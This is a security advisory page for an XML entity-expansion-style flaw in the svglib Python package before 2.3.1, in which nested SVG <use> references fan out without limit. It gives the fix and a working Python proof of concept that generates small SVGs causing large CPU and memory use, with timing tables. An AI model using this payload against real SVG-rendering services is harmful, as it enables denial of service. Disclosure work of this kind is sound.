Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') Affecting svglib package, versions [,2.3.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.61% (44th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-SVGLIB-22733180
  • published22 Nov 2026
  • disclosed20 Nov 2026
  • creditAleksandr Kovalko, Huynh Cong Hieu, furkan özkan

Introduced: 20 Nov 2026

NewCVE-2026-132275  (opens in a new tab)
CWE-776  (opens in a new tab)

How to fix?

Upgrade svglib to version 2.3.1 or higher.

Overview

svglib is a library for reading SVG files and converting them (to a reasonable degree) to other formats using the ReportLab Open Source toolkit.

Affected versions of this package are vulnerable to Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') via SvgRenderer.renderUse() in svg2rlg(), which expands <use> references without any limit on the total number of expansions. Only direct cycles are rejected via CircularRefError, so a reference DAG with fan-out is expanded fully: a group containing N <use> elements pointing to another such group multiplies work by N per nesting level, producing fan ** levels renders. An attacker can supply an SVG of about 1.4 KB that causes svglib to clone and render over 100,000 nodes, consuming tens of seconds of CPU time and hundreds of MiB of memory. This is the SVG <use> variant of the XML "billion laughs" attack, the same class as librsvg CVE-2019-20446.

PoC

Minimal local PoC, non-destructive:

import io, time
from svglib.svglib import svg2rlg

def make(levels, fan=10): parts = ['<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10"><defs>', '<rect id="l0" width="1" height="1"/>'] for i in range(1, levels + 1): parts.append(f'<g id="l{i}">' + f'<use xlink:href="#l{i-1}"/>' * fan + '</g>') parts.append(f'</defs><use xlink:href="#l{levels}"/></svg>') return "".join(parts).encode()

for levels in (3, 4, 5): data = make(levels) t = time.time() svg2rlg(io.BytesIO(data)) print(levels, len(data), f"{time.time() - t:.1f}s")

Result on svglib 2.3.0 (commit 5d28646), Python 3.12, macOS:

levels SVG size time peak RSS
3 919 B 0.3 s 42 MiB
4 1164 B 2.9 s 83 MiB
5 1409 B 34 s 469 MiB

svglib 1.5.1 from PyPI behaves the same (levels = 4: 2.8 s, 82 MiB).

Through xhtml2pdf 0.2.23 with the same SVG embedded as a data: URI <img>:

levels HTML size time peak RSS
4 1626 B 6.9 s 133 MiB
5 1954 B 78.7 s 499 MiB

Note: The PoC runs against svglib 2.3.0 (commit 5d28646) and 1.5.1 on Python 3.12 on macOS, and also through xhtml2pdf 0.2.23 with the SVG embedded as a data: URI.

CVSS Base Scores

version 4.0
version 3.1